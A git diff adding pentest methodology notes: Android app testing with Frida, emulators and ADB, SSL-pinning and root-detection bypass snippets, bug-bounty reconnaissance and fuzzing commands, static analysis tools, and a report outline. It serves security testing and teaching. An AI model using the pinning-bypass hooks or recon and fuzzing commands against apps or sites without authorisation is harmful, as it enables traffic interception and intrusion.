+ +### Runtime Mobile Security + +> Runtime Mobile Security (RMS) 📱🔥 - is a powerful web interface that helps you to manipulate Android and iOS Apps at Runtime + +* [RMS - Github](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) + +**Requirements**: + +* `adb` +* `frida`: server up and running on the target device + +In case of issue with your favorite Browser, please use Google Chrome (fully supported). + +* Install RMS + + ```powershell + npm install -g rms-runtime-mobile-security + ``` + +* Make sure `frida-server` is up and running on the target device. +* Launch RMS: `rms` +* Open your browser at `http://127.0.0.1:5491/` +* Attach to the app, find name with `adb shell pm list package | grep NAME` + +### Genymotion + +Genymotion is a robust Android emulator designed for developers, offering fast and reliable virtual devices for app testing. It features GPS, battery, and network simulation, enabling comprehensive testing and development + +* [Genymotion](https://www.genymotion.com/) +* [Genymotion Desktop](https://www.genymotion.com/product-desktop/) +* [Genymotion Device Image](https://www.genymotion.com/product-device-image/) +* [Genymotion SaaS](https://www.genymotion.com/product-cloud/) + +### Android SDK emulator + +Android Virtual Device (AVD) without Google Play Store. + +* Download the files for an API 25 build + + ```powershell + sdkmanager "system-images;android-25;google_apis;x86_64" + ``` + +* Create a device based on what we downloaded previously + + ```powershell + avdmanager create avd x86_64_api_25 -k "system-images;android-25;google_apis;x86_64" + ``` + +* Run the emulator + + ```powershell + emulator @x86_64_api_25 + + emulator -list-avds + emulator -avd -writable-system -no-snapshot + emulator -avd Pixel_XL_API_31 -writable-system -http-proxy 127.0.0.1:8080 + ``` + +* Install the APK + + ```powershell + adb install ./challenge.apk + ``` + +* Start the App + + ```powershell + adb shell monkey -p com.scottyab.rootbeer.sample 1 + ``` + +### Mobile Security Framework Dynamic + +:warning: Dynamic Analysis will not work if you use MobSF docker container or setup MobSF inside a Virtual Machine. + +**Requirements**: + +* Genymotion (Supports x86_64 architecture Android 4.1 - 11.0, upto API 30) + * Android 5.0 - 11.0 - uses Frida and works out of the box with zero configuration or setup. + * Android 4.1 - 4.4 - uses Xposed Framework and requires MobSFy +* Genymotion Cloud + * [Amazon Marketplace - TCP 5555](https://aws.amazon.com/marketplace/seller-profile?id=933724b4-d35f-4266-905e-e52e4792bc45) + * [Azure Marketplace - TCP 5555](https://azuremarketplace.microsoft.com/en-us/marketplace/apps/genymobile.genymotion-cloud) +* Android Studio Emulator (only Android images upto API 28 are supported) + * AVD without Google Play Store + +Dynamic Analysis from MobSF grants you the following features: + +* Web API Viewer +* Frida API Monitor + +### Appium + +Appium is an open-source project and ecosystem of related software, designed to facilitate UI automation of many app platforms, including mobile (iOS, Android, Tizen), browser (Chrome, Firefox, Safari), desktop (macOS, Windows), TV (Roku, tvOS, Android TV, Samsung), and more! + +* Install appium: `npm install -g appium` +* Install and validate the `uiautomator2` driver + + ```ps1 + export JAVA_HOME=/usr/lib/jvm/default-java + export ANDROID_HOME=/home/user/Android/Sdk/ + wget https://github.com/google/bundletool/releases/download/1.17.1/bundletool-all-1.17.1.jar + sudo mv bundletool-all-1.17.1.jar /usr/local/bin + appium driver install uiautomator2 + appium driver doctor uiautomator2 + ``` + +* Start the server on the default host (0.0.0.0) and port (4723): `appium server` +* Install the Appium Python client: `pip install Appium-Python-Client` +* Use the [appium/appium-inspector](https://github.com/appium/appium-inspector) with the following capability + + ```json + { + "platformName": "Android", + "appium:automationName": "UiAutomator2" + } + ``` + +Examples: + +* [quickstarts/py/test.py](https://github.com/appium/appium/blob/master/packages/appium/sample-code/quickstarts/py/test.py) +* [quickstarts/js/test.js](https://github.com/appium/appium/blob/master/packages/appium/sample-code/quickstarts/js/test.js) +* [quickstarts/js/test.rb](https://github.com/appium/appium/blob/master/packages/appium/sample-code/quickstarts/rb/test.rb) + +### Flutter + +Repackage a Flutter Android application to allow Burp Suite proxy interception. + +* [ptswarm/reFlutter](https://github.com/ptswarm/reFlutter) - Flutter Reverse Engineering Framework + + ```ps1 + pip3 install reflutter + reflutter application.apk + ``` + +* Sign the apk with [patrickfav/uber-apk-signer](https://github.com/patrickfav/uber-apk-signer/releases/tag/v1.2.1) + + ```ps1 + java -jar ./uber-apk-signer-1.3.0.jar --apks release.apk + java -jar ./uber-apk-signer.jar --allowResign -a release.RE.apk + ``` + +An alternative way to do it is using a rooted Android device with `zygisk-reflutter`. + +* [yohanes/zygisk-reflutter](https://github.com/yohanes/zygisk-reflutter) - Zygisk-based reFlutter (Rooted Android with Magisk installed and Zygisk Enabled) + + ```ps1 + adb push zygiskreflutter_1.0.zip /sdcard/ + adb shell su -c magisk --install-module /sdcard/zygiskreflutter_1.0.zip + adb reboot + ``` + +## SSL Pinning Bypass + +SSL certificate pinning in an APK involves embedding a server's public key or certificate directly into the app. This ensures the app only trusts specific certificates, preventing man-in-the-middle attacks by rejecting any certificates not matching the pinned ones, even if they are otherwise valid. + +:warning: Android 9.0 is changing the defaults for Network Security Configuration to block all cleartext traffic. + +* [shroudedcode/apk-mitm](https://github.com/shroudedcode/apk-mitm) - A CLI application that automatically prepares Android APK files for HTTPS inspection + + ```powershell + $ npx apk-mitm application.apk + npx: 139 installé(s) en 12.206s + ╭ apk-mitm v0.6.1 + ├ apktool v2.4.1 + ╰ uber-apk-signer v1.1.0 + Using temporary directory: + /tmp/87d3a4921ddf86cde634205480f89e90 + ✔ Decoding APK file + ✔ Modifying app manifest + ✔ Modifying network security config + ✔ Disabling certificate pinning + ✔ Encoding patched APK file + ✔ Signing patched APK file + Done! Patched file: ./application.apk + ``` + +* [51j0/Android-CertKiller](https://github.com/51j0/Android-CertKiller) - An automation script to bypass SSL/Certificate pinning in Android + + ```powershell + python main.py -w #(Wizard mode) + python main.py -p 'root/Desktop/base.apk' #(Manual mode) + ``` + +* [frida/frida](https://github.com/frida/frida) - Universal SSL Pinning Bypass + + ```javascript + $ adb devices + $ adb root + $ adb shell + $ phone:/# ./frida-server + + // https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/ + $ frida -U --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -f com.example.pinned + + $ frida -U -f org.package.name -l universal-ssl-check-bypass.js --no-pause + Java.perform(function() { + var array_list = Java.use("java.util.ArrayList"); + var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl'); + ApiClient.checkTrustedRecursive.implementation = function(a1,a2,a3,a4,a5,a6) { + var k = array_list.$new(); + return k; + } + },0); + ``` + +* [m0bilesecurity/RMS-Runtime-Mobile-Security](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Certificate Pinning bypass script (all + okhttpv3) +* [federicodotta/Brida](https://github.com/federicodotta/Brida) - The new bridge between Burp Suite and Frida + +## Root Detection Bypass + +Common root detection techniques: + +* Su binaries: `su`/`busybox` +* Known Root Files/Paths : `Superuser.apk` +* Root Management Apps: `Magisk`, `SuperSU` +* RW paths: `/system`, `/data` directories +* System Properties + +Common bypass: + +* [fridantiroot](https://codeshare.frida.re/@dzonerzy/fridantiroot/) - `frida --codeshare dzonerzy/fridantiroot -f YOUR_BINARY` +* [xamarin-antiroot](https://codeshare.frida.re/@Gand3lf/xamarin-antiroot/) - `frida --codeshare Gand3lf/xamarin-antiroot -f YOUR_BINARY` +* [multiple-root-detection-bypass/](https://codeshare.frida.re/@KishorBal/multiple-root-detection-bypass/) - `frida --codeshare KishorBal/multiple-root-detection-bypass -f YOUR_BINARY` + +## Android Debug Bridge + +Android Debug Bridge (ADB) is a versatile command-line tool that enables communication between a computer and an Android device. It facilitates tasks like installing apps, debugging, accessing the device's shell, and transferring files, making it essential for developers and power users in Android development and troubleshooting. + +### USB Debugging + +* Open the **Settings** app. +* Select **System**. +* Scroll to the bottom and select **About phone**. +* Scroll to the bottom and tap **Build number** 7 times. +* Return to the previous screen to find **Developer options** near the bottom. +* Scroll down and enable **USB debugging**. + +```ps1 +./platform-tools/adb connect IP:PORT +./platform-tools/adb shell +``` + +### Wireless Debugging + +* Open the **Settings** app. +* Select **System**. +* Scroll to the bottom and select **About phone**. +* Scroll to the bottom and tap **Build number** 7 times. +* Return to the previous screen to find **Developer options** near the bottom. +* Scroll down and enable **Wifi debugging**. +* Click on **Wifi debugging** to access the settings + +One more step, you need to pair the devices using a code. + +```ps1 +./platform-tools/adb pair IP:PORT CODE +./platform-tools/adb connect IP:PORT +./platform-tools/adb shell +``` + +| Command | Description | +|------------------------------|------------------------------------------------| +| `adb devices` | List devices | +| `adb connect :` | Connect to a remote device | +| `adb install app.apk` | Install application | +| `adb uninstall app.apk` | Uninstall application | +| `adb root` | Restarting adbd as root | +| `adb shell pm list packages` | List packages | +| `adb shell pm list packages -3` | Show third party packages | +| `adb shell pm list packages -f` | Show packages and associated files | +| `adb shell pm clear com.test.abc` | Delete all data associated with a package | +| `adb pull ` | Download file | +| `adb push ` | Upload file | +| `adb shell screenrecord /sdcard/demo.mp4`| Record video of the screen | +| `adb shell am start -n com.test.abc` | Start an activity | +| `adb shell am startservice` | Start a service | +| `adb shell am broadcast` | Send a broadcast | +| `adb logcat *:D` | Show log with Debug level | +| `adb logcat -c` | Clears the entire log | + +## Android Virtual Device + +An Android Virtual Device (AVD) is an emulator configuration that mimics a physical Android device. It allows developers to test and run Android apps in a simulated environment with specific hardware profiles, screen sizes, and Android versions, facilitating app testing without needing actual devices. + +```ps1 +emulator -avd Pixel_8_API_34 -writable-system +``` + +| Command | Description | +|------------------------------|------------------------------------------------| +| `-tcpdump /path/dumpfile.cap`| Capture all the traffic in a file | +| `-dns-server X.X.X.X` | Set DNS servers | +| `-http-proxy X.X.X.X:8080` | Set HTTP proxy | +| `-port 5556` | Set the ADB TCP port number | + +## Unlock Bootloader + +**Requirements**: + +* Enable `Settings` > `Developer Options` > `OEM unlocking` +* Enable `Settings` > `Developer Options` > `USB Debugging` + +Unlock the bootloader will wipe the userdata partition. On some device these methods will require a key to successfully unlock the bootloader. + +* Method 1 + + ```ps1 + adb reboot bootloader + fastboot oem unlock + ``` + +* Method 2 + + ```ps1 + adb reboot bootloader + fastboot flashing unlock + ``` + +* Methods based on the chip + * For Qualcomm devices, you can use EDL (Emergency Download Mode) + * For MediaTek devices, BROM (Boot ROM) mode + * For Unisoc devices, Research Download Mode. + +## References + +* [A beginners guide to using Frida to bypass root detection. - DianaOpanga - November 27, 2023](https://medium.com/@dianaopanga/a-beginners-guide-to-using-frida-to-bypass-root-detection-16af76b989ac) +* [Android App Reverse Engineering 101 - @maddiestone](https://www.ragingrock.com/AndroidAppRE/) +* [Android app vulnerability classes - Google Play Protect](https://static.googleusercontent.com/media/www.google.com/fr//about/appsecurity/play-rewards/Android_app_vulnerability_classes.pdf) +* [Appium documentation](https://appium.io/docs/en/latest/) +* [Configuring Android Emulator with Burp Suite - Jarrod @Jrod_R87 - January 8, 2025](https://owlhacku.com/configuring-android-emulator-with-burp-suite/) +* [Configuring Burp Suite with Android Emulators - Aashish Tamang - June 6, 2022](https://blog.yarsalabs.com/setting-up-burp-for-android-application-testing/) +* [Configuring Burp Suite With Android Nougat - ropnop - January 18, 2018](https://blog.ropnop.com/configuring-burp-suite-with-android-nougat) +* [Configuring Frida with BurpSuite and Genymotion to bypass Android SSL Pinning - arben - September 4, 2020](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +* [How to root an Android device for analysis and vulnerability assessment - Joe Lovett - August 23, 2024](https://www.pentestpartners.com/security-blog/how-to-root-an-android-device-for-analysis-and-vulnerability-assessment/) +* [Intercepting OkHttp at Runtime With Frida - A Practical Guide - Szymon Drosdzol - January 22, 2026](https://blog.doyensec.com/2026/01/22/frida-instrumentation.html) +* [Introduction to Android Pentesting - Jarrod - July 8, 2024](https://owlhacku.com/introduction-to-android-pentesting/) +* [Mobile Systems and Smartphone Security - @reyammer](https://mobisec.reyammer.io) +* [Rooting an Android Emulator for Mobile Security Testing - 8ksecresearch - April 17, 2025](https://8ksec.io/rooting-an-android-emulator-for-mobile-security-testing/) diff --git a/personas/_shared/internal-allthethings/methodology/bug-hunting-methodology.md b/personas/_shared/internal-allthethings/methodology/bug-hunting-methodology.md new file mode 100644 index 0000000..91a8fdb --- /dev/null +++ b/personas/_shared/internal-allthethings/methodology/bug-hunting-methodology.md @@ -0,0 +1,308 @@ +# Bug Hunting Methodology + +## Passive Recon + +* Using [shodan.io](https://www.shodan.io/), [fofa.info](https://en.fofa.info/), [zoomeye.ai](https://www.zoomeye.ai/) or [odin.io](https://search.odin.io/hosts) to detect similar app + + ```ps1 + # https://github.com/glennzw/shodan-hq-nse + nmap --script shodan-hq.nse --script-args 'apikey=,target=' + ``` + +* Search for similar websites using the same favicon: [pielco11/fav-up](https://github.com/pielco11/fav-up) or slightly different icon: [profundis.io/favicon-matcher](https://profundis.io/tools/favicon-matcher) + + ```ps1 + python3 favUp.py --favicon-file favicon.ico -sc + python3 favUp.py --favicon-url https://domain.behind.cloudflare/assets/favicon.ico -sc + python3 favUp.py --web domain.behind.cloudflare -s + ``` + +* Search inside Shortener URLs: [shorteners.grayhatwarfare.com](https://shorteners.grayhatwarfare.com/), [utkusen/urlhunter](https://github.com/utkusen/urlhunter) + + ```ps1 + urlhunter --keywords keywords.txt --date 2020-11-20 + ``` + +* Search inside Buckets: [buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/) + +* Using [The Wayback Machine](https://archive.org/web/) to detect forgotten endpoints + + ```powershell + # Look for JS files, old links + curl -sX GET "http://web.archive.org/cdx/search/cdx?url=&output=text&fl=original&collapse=urlkey&matchType=prefix" + ``` + +* Using [laramies/theHarvester](https://github.com/laramies/theHarvester) + + ```python + python theHarvester.py -b all -d domain.com + ``` + +* Look for private information in [GitHub](https://github.com) repositories with [michenriksen/GitRob](https://github.com/michenriksen/gitrob.git) + + ```bash + gitrob analyze johndoe --site=https://github.acme.com --endpoint=https://github.acme.com/api/v3 --access-tokens=token1,token2 + ``` + +* Perform Google Dorks search: [ikuamike/GoogleDorking.md](https://gist.github.com/ikuamike/c2611b171d64b823c1c1956129cbc055) + + ```ps1 + site: *.example.com -www + intext:"dhcpd.conf" "index of" + intitle:"SSL Network Extender Login" -checkpoint.com + ``` + +* Enumerate subdomains using HackerTarget + + ```ps1 + curl --silent 'https://api.hackertarget.com/hostsearch/?q=targetdomain.com' | grep -o '\w.*targetdomain.com' + ``` + +* Enumerate endpoints using CommonCrawl + + ```ps1 + echo "targetdomain.com" | xargs -I domain curl -s "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.targetdomain.com&output=json" | jq -r .url | sort -u + ``` + +## Active Recon + +### Network Discovery + +* Subdomains enumeration + * Enumerate already found subdomains: [projectdiscovery/subfinder](https://github.com/projectdiscovery/subfinder), [OWASP/Amass](https://github.com/OWASP/Amass) + + ```ps1 + subfinder -d hackerone.com + amass enum -passive -dir /tmp/amass_output/ -d example.com -o dir/example.com + ``` + + * Permutate subdomains: [infosec-au/altdns](https://github.com/infosec-au/altdns) + * Bruteforce subdomains: [Josue87/gotator](https://github.com/Josue87/gotator) + * Resolve subdomains to IP with [blechschmidt/massdns](https://github.com/blechschmidt/massdns), remember to use a good list of resolvers like [trickest/resolvers](https://github.com/trickest/resolvers) + + ```ps1 + massdns -r resolvers.txt -o S -w massdns.out subdomains.txt + ``` + + * Subdomain takeovers: [EdOverflow/can-i-take-over-xyz](https://github.com/EdOverflow/can-i-take-over-xyz) + +* Network discovery + * Scan IP ranges with `nmap`, [robertdavidgraham/masscan](https://github.com/robertdavidgraham/masscan) and [projectdiscovery/naabu](https://github.com/projectdiscovery/naabu) + * Discover services, version and banners + +* Review latest acquisitions + +* ASN enumeration + * [projectdiscovery/asnmap](https://github.com/projectdiscovery/asnmap): `asnmap -a AS45596 -silent` + * [asnlookup.com](http://www.asnlookup.com) + +* DNS Zone Transfer + + ```ps1 + host -t ns domain.local + domain.local name server master.domain.local. + + host master.domain.local + master.domain.local has address 192.168.1.1 + + dig axfr domain.local @192.168.1.1 + ``` + +### Web Discovery + +#### Common Files + +* `security.txt`: A file that provides contact info for reporting security issues with your site (like an email or PGP key). + + ```ps1 + Contact: mailto:security@example.com + ``` + +* `sitemap.xml`: Lists all the important URLs of your site so search engines can index them efficiently. + + ```ps1 + + https://example.com/ + https://example.com/about + + ``` + +* `robots.txt`: Tells search engine crawlers which pages or files they can or cannot access on your site. + + ```ps1 + User-agent: * + Disallow: /admin/ + ``` + +#### Enumerate Files and Folders + +Enumerate all accessible files and subdirectories. Once the underlying technology has been identified, prioritize the use of targeted wordlists rather than generic ones. Technology specific wordlists such as those provided by Assetnote ([https://wordlists.assetnote.io](https://wordlists.assetnote.io)), significantly improve coverage and efficiency. Examples include `httparchive_parameters_top_1m_2026_01_27.txt`, `httparchive_directories_1m_2026_01_27.txt`, and `httparchive_php_2026_01_27.txt`. + +* [OJ/gobuster](https://github.com/OJ/gobuster) +* [ffuf/ffuf](https://github.com/ffuf/ffuf) +* [bitquark/shortscan](https://github.com/bitquark/shortscan) + + ```ps1 + ffuf -H 'User-Agent: Mozilla' -v -t 30 -w mydirfilelist.txt -b 'NAME1=VALUE1; NAME2=VALUE2' -u 'https://example.com/FUZZ' + gobuster dir -a 'Mozilla' -e -k -l -t 30 -w mydirfilelist.txt -c 'NAME1=VALUE1; NAME2=VALUE2' -u 'https://example.com/' + ``` + +Identify and enumerate backup and temporary files that may have been unintentionally exposed. These files often contain source code, credentials, or sensitive configuration data and are commonly created by editors, deployment processes, or manual backups. + +* [mazen160/bfac](https://github.com/mazen160/bfac) + +```bash +bfac --url http://example.com/test.php --level 4 +bfac --list testing_list.txt +``` + +Crawl the website's pages and resources to identify additional attack surface and expand the assessment perimeter. + +* [hakluke/hakrawler](https://github.com/hakluke/hakrawler) +* [projectdiscovery/katana](https://github.com/projectdiscovery/katana) + +```ps1 +katana -u https://tesla.com +echo https://google.com | hakrawler +``` + +#### Next.js Endpoints + +In Next.js, `window.__BUILD_MANIFEST` is a runtime global variable that the framework automatically injects into the client-side JavaScript bundle. + +Go to `DevTools->Console` and execute this JavaScript code: + +```js +console.log(window.__BUILD_MANIFEST) +console.log(__BUILD_MANIFEST.sortedPages) +``` + +If you inspect your app in the browser console (for a production build), you might see something like this: + +```js +{__rewrites: {…}, /: Array(10), /404: Array(8), /500: Array(4), /_error: Array(1), …} +/: (10) ['static/chunks/2852872c-b605aca0298c2109.js', 'static/chunks/3748-2a8cf394c7270ee0.js'] +/404: (8) ['static/chunks/2852872c-b605aca0298c2109.js', 'static/chunks/3748-2a8cf394c7270ee0.js'] +/500: (4) ['static/chunks/3748-2a8cf394c7270ee0.js', 'static/chunks/1221-b44c330d41258365.js'] +/[slug]: (30) ['static/chunks/2852872c-b605aca0298c2109.js', 'static/chunks/29107295-4cc022cea922dbb4.js'] +/_error: ['static/chunks/pages/_error-6ddff449d199572c.js'] +/about/[slug]: (31) ['static/chunks/2852872c-b605aca0298c2109.js'] +``` + +#### JS and HTML Comments + +Retrieve comments in source code. + +```html + +// JS Comment +``` + +#### Internet Archive + +Identify historical URLs and endpoints by reviewing archived content from sources such as the Wayback Machine and the Internet Archive. + +* [tomnomnom/waybackurls](https://github.com/tomnomnom/waybackurls) +* [lc/gau](https://github.com/lc/gau) + +```ps1 +gau --o example-urls.txt example.com +gau --blacklist png,jpg,gif example.com +``` + +#### Hidden Parameters + +Search for `hidden` parameters: + +* [PortSwigger/param-miner](https://github.com/PortSwigger/param-miner) +* [s0md3v/Arjun](https://github.com/s0md3v/Arjun) +* [Sh1Yo/x8](https://github.com/Sh1Yo/x8) + + ```ps1 + x8 -u "https://example.com/?something=1" -w + ``` + +#### Map Technologies + +* Web service enumeration using [projectdiscovery/httpx](https://github.com/projectdiscovery/httpx) or [projectdiscovery/wappalyzergo](https://github.com/projectdiscovery/wappalyzergo) + * Favicon hash + * JARM fingerprint + * ASN + * Status code + * Services + * Technologies (Github Pages, Cloudflare, Ruby, Nginx,...) + + ```ps1 + httpx -title -tech-detect -status-code -follow-redirects -jarm -asn -json -silent -ports 80,443 -l urls.txt + ``` + +* Look for WAF with [projectdiscovery/cdncheck](https://github.com/projectdiscovery/cdncheck) and identify the real IP with [christophetd/CloudFlair](https://github.com/christophetd/CloudFlair) + + ```ps1 + echo www.hackerone.com | cdncheck -resp + www.hackerone.com [waf] [cloudflare] + ``` + +* Take screenshots for every websites using [sensepost/gowitness](https://github.com/sensepost/gowitness) + +#### Manual Testing + +Explore the website with a proxy: + +* [Caido - A lightweight web security auditing toolkit](https://caido.io/) +* [ZAP - OWASP Zed Attack Proxy](https://www.zaproxy.org/) +* [Burp Suite - Community Edition](https://portswigger.net/burp/communitydownload) + +#### Automated vulnerability scanners + +* [projectdiscovery/nuclei](https://github.com/projectdiscovery/nuclei): + + ```ps1 + nuclei -u https://example.com + ``` + +* [Burp Suite's web vulnerability scanner](https://portswigger.net/burp/vulnerability-scanner) +* [sullo/nikto](https://github.com/sullo/nikto) + + ```ps1 + ./nikto.pl -h http://www.example.com + ``` + +## Looking for Web Vulnerabilities + +* Explore the website and look for vulnerabilities listed in this repository: SQL injection, XSS, CRLF, Cookies, .... +* Test for Business Logic weaknesses + * High or negative numerical values + * Try all the features and click all the buttons +* [The Web Application Hacker's Handbook Checklist](https://web.archive.org/web/20210126221152/https://gist.github.com/gbedoya/10935137) + +* Subscribe to the site and pay for the additional functionality to test + +* Inspect Payment functionality - [@gwendallecoguic](https://twitter.com/gwendallecoguic/status/988138794686779392) + > If the webapp you're testing uses an external payment gateway, check the doc to find the test credit numbers, purchase something and if the webapp didn't disable the test mode, it will be free + + From [https://stripe.com/docs/testing](https://stripe.com/docs/testing#cards) : "Use any of the following test card numbers, a valid expiration date in the future, and any random CVC number, to create a successful payment. Each test card's billing country is set to U.S." + + Test card numbers and tokens + + | NUMBER | BRAND | TOKEN | + | :------------- | :------------- | :------------- | + | 4242424242424242 | Visa | tok_visa | + | 4000056655665556 | Visa (debit) | tok_visa_debit | + | 5555555555554444 | Mastercard | tok_mastercard | + + International test card numbers and tokens + + | NUMBER | TOKEN | COUNTRY | BRAND | + | :------------- | :------------- | :------------- | :------------- | + | 4000000400000008 | tok_at | Austria (AT) | Visa | + | 4000000560000004 | tok_be | Belgium (BE) | Visa | + | 4000002080000001 | tok_dk | Denmark (DK) | Visa | + | 4000002460000001 | tok_fi | Finland (FI) | Visa | + | 4000002500000003 | tok_fr | France (FR) | Visa | + +## References + +* [Nmap CheatSheet - HackerTarget](https://hackertarget.com/nmap-cheatsheet-a-quick-reference-guide/) +* [Yahoo phpinfo.php disclosure - Patrik Fehrenbach - January 20, 2013](https://blog.wss.sh/bugbounty-yahoo-phpinfo-php-disclosure/) +* [Bug Bounty Masterclass - Wiz, Gal Nagli](https://www.wiz.io/bug-bounty-masterclass) diff --git a/personas/_shared/internal-allthethings/methodology/source-code-analysis.md b/personas/_shared/internal-allthethings/methodology/source-code-analysis.md new file mode 100644 index 0000000..c3ad805 --- /dev/null +++ b/personas/_shared/internal-allthethings/methodology/source-code-analysis.md @@ -0,0 +1,160 @@ +# Source Code Analysis + +> Source code analysis is the process of examining and reviewing the code of a software program to identify errors, vulnerabilities, and potential improvements. This can be performed manually by developers or through automated tools that scan the code for issues like security risks, coding standard violations, and performance inefficiencies. + +## AI Analysis + +* [trailofbits/skills](https://github.com/trailofbits/skills) - Trail of Bits Claude Code skills for security research, vulnerability detection, and audit workflows. + +```ps1 +npm install -g @github/copilot +copilot +/login +/model +/plugin marketplace add trailofbits/skills +/plugin marketplace browse trailofbits +/plugin install ask-questions-if-underspecified@trailofbits +/plugin install static-analysis@trailofbits +/plugin install entry-point-analyzer@trailofbits +/plugin install semgrep-rule-creator@trailofbits +/plugin install semgrep-rule-variant-creator@trailofbits +/plugin install sharp-edges@trailofbits +/plugin install insecure-defaults@trailofbits +``` + +## Semgrep + +> Lightweight static analysis for many languages. Find bug variants with patterns that look like source code. + +**Install**: + +* Binaries: [opengrep/opengrep](https://github.com/opengrep/opengrep) / [semgrep/semgrep](https://github.com/semgrep/semgrep) +* Ubuntu/WSL/Linux/macOS: `python3 -m pip install semgrep` +* macOS: `brew install semgrep` +* Docker + + ```ps1 + docker run -it -v "${PWD}:/src" semgrep/semgrep semgrep login + docker run -e SEMGREP_APP_TOKEN= --rm -v "${PWD}:/src" semgrep/semgrep semgrep ci + ``` + +**Semgrep rules**: + +* [semgrep/semgrep-rules](https://github.com/semgrep/semgrep-rules) - Official Semgrep rules registry +* [trailofbits/semgrep-rules](https://github.com/trailofbits/semgrep-rules) - Semgrep queries developed by Trail of Bits +* [Decurity/semgrep-smart-contracts)](https://github.com/Decurity/semgrep-smart-contracts) - Semgrep rules for smart contracts based on DeFi exploits +* [0xdea/semgrep-rules](https://github.com/0xdea/semgrep-rules) - A collection of Semgrep rules to facilitate vulnerability research. +* [elttam/semgrep-rules](https://github.com/elttam/semgrep-rules) - Elttam's public semgrep rules repository. + +**Other Tools**: + +* [Orange-Cyberdefense/grepmarx](https://github.com/Orange-Cyberdefense/grepmarx) - A source code static analysis platform for AppSec enthusiasts, based on semgrep engine. + +## SonarQube + +> Continuous Inspection + +**Install** + +* Docker + + ```ps1 + docker run -d --name sonarqube -p 9000:9000 sonarqube:community + ``` + +**Configuration** + +* Go to localhost:9000 +* Login with `admin:admin` +* Create a local project +* Generate a token for the project +* Use `sonar-scanner-cli` with the generated token + + ```ps1 + docker run --rm -e SONAR_HOST_URL="http://10.10.10.10:9000" -v "/tmp/www:/usr/src" sonarsource/sonar-scanner-cli -Dsonar.projectKey=sonar-project-name -Dsonar.sources=. -Dsonar.host.url=http://10.10.10.10:9000 -Dsonar.token=sqp_redacted + ``` + +* Check the Security Hotspots tab: `http://10.10.10.10:9000/security_hotspots?id=sonar-project-name` + +:warning: remove dead symbolic links before scanning a folder. + +## Psalm + +> A static analysis tool for finding errors in PHP applications + +**Install** + +```ps1 +composer require --dev vimeo/psalm +``` + +**Configuration** + +* Create a project and initiate a scan of the codebase + + ```ps1 + ./vendor/bin/psalm --init + ./vendor/bin/psalm --taint-analysis + ./vendor/bin/psalm --report=results.sarif + ``` + +* Use a Sarif viewer to see the results: [microsoft.github.io/sarif-web-component](https://microsoft.github.io/sarif-web-component/) + +## CodeQL + +> CodeQL: the libraries and queries that power security researchers around the world, as well as code scanning in GitHub Advanced Security + +**Install**: + +* [github/codeql](https://github.com/github/codeql) + +**Configuration** + +```ps1 +codeql resolve packs +codeql resolve languages +codeql database create --language= +codeql database create --language=python /python-database +codeql database create --language=cpp /cpp-database +codeql database analyze --format= --output= ... +codeql database analyze /codeql-dbs/example-repo javascript-code-scanning.qls --sarif-category=javascript-typescript --format=sarif-latest --output=/temp/example-repo-js.sarif +codeql database analyze microsoft/coding-standards@1.0.0 github/security-queries --format=sarifv2.1.0 --output=query-results.sarif --download +``` + +## Snyk + +> Snyk CLI scans and monitors your projects for security vulnerabilities. + +**Install** + +* [Snyk Security - Visual Studio](https://marketplace.visualstudio.com/items?itemName=snyk-security.snyk-vulnerability-scanner-vs) +* [Snyk Code / Snyk Open Source](https://app.snyk.io) + + ```ps1 + curl https://static.snyk.io/cli/latest/snyk-linux -o snyk + chmod +x ./snyk + mv ./snyk /usr/local/bin/ + + docker run -it \ + -e "SNYK_TOKEN=" \ + -v ":/project" \ + -v "/home/user/.gradle:/home/node/.gradle" \ + snyk/snyk:gradle:6.4 test --org=my-org-name + ``` + +**Configuration** + +```ps1 +snyk auth +snyk ignore --file-path= +snyk code test + +# npm install snyk-to-html -g +snyk code test --json | snyk-to-html -o results-opensource.html +``` + +## References + +* [Code auditing 101 - Rodolphe Ghio - August 2, 2025](https://blog.rodolpheg.xyz/posts/code-auditing--101/) +* [Detect PHP security vulnerabilities with Psalm - Matt Brown - June 23, 2020](https://psalm.dev/articles/detect-security-vulnerabilities-with-psalm) +* [Security Analysis in Psalm - Official Documentation](https://psalm.dev/docs/security_analysis/) diff --git a/personas/_shared/internal-allthethings/methodology/vulnerability-reports.md b/personas/_shared/internal-allthethings/methodology/vulnerability-reports.md new file mode 100644 index 0000000..7540b98 --- /dev/null +++ b/personas/_shared/internal-allthethings/methodology/vulnerability-reports.md @@ -0,0 +1,113 @@ +# Vulnerability Reports + +> A pentest vulnerability report documents the findings of a penetration test, detailing identified security weaknesses, their potential impact, and remediation steps. It is critical for informing stakeholders about the security posture of their systems, prioritizing vulnerabilities, and guiding mitigation efforts. Effective reports enhance overall security by providing actionable insights to prevent exploitation. + +## Tools + +Tools to help you collaborate and generate your reports. + +* [GhostManager/Ghostwriter](https://github.com/GhostManager/Ghostwriter) - The SpecterOps project management and reporting engine +* [pwndoc/pwndoc](https://github.com/pwndoc/pwndoc) - Pentest Report Generator + +List of penetration test reports and templates. + +* [reconmap/pentest-reports](https://github.com/reconmap/pentest-reports) - Collection of penetration test reports and pentest report templates. +* [juliocesarfort/public-pentesting-reports](https://github.com/juliocesarfort/public-pentesting-reports) - A list of public penetration test reports published by several consulting firms and academic security groups. +* [xanhacks/web-pentest-reports](https://gitlab.com/xanhacks/web-pentest-reports) - List of template vulnerability reports for web pentesting. +* [noraj/OSCP-Exam-Report-Template-Markdown](https://github.com/noraj/OSCP-Exam-Report-Template-Markdown) - Markdown Templates for Offensive Security OSCP, OSWE, OSCE, OSEE, OSWP exam report. + +## Vulnerability Report Structure + +* Executive Summary +* Security Findings and Recommendations +* Vulnerabilities (sorted by severity) +* Appendix (optional) + +## Vulnerability Details Structure + +* **Summary**: a concise introduction to the vulnerability, providing a snapshot of the issue and its potential reach.. +* **Impact**: detailed insights into the potential business ramifications that could arise from exploiting this vulnerability. +* **Reproductions Steps**: a comprehensive, step-by-step walkthrough on how to replicate the issue,, complete with screenshots, HTTP requests or Proof of Concept code snippets. +* **Recommendations**: suggestions and best practices for addressing and resolving the highlighted issue. +* **References**: links to external content, documentation, and security 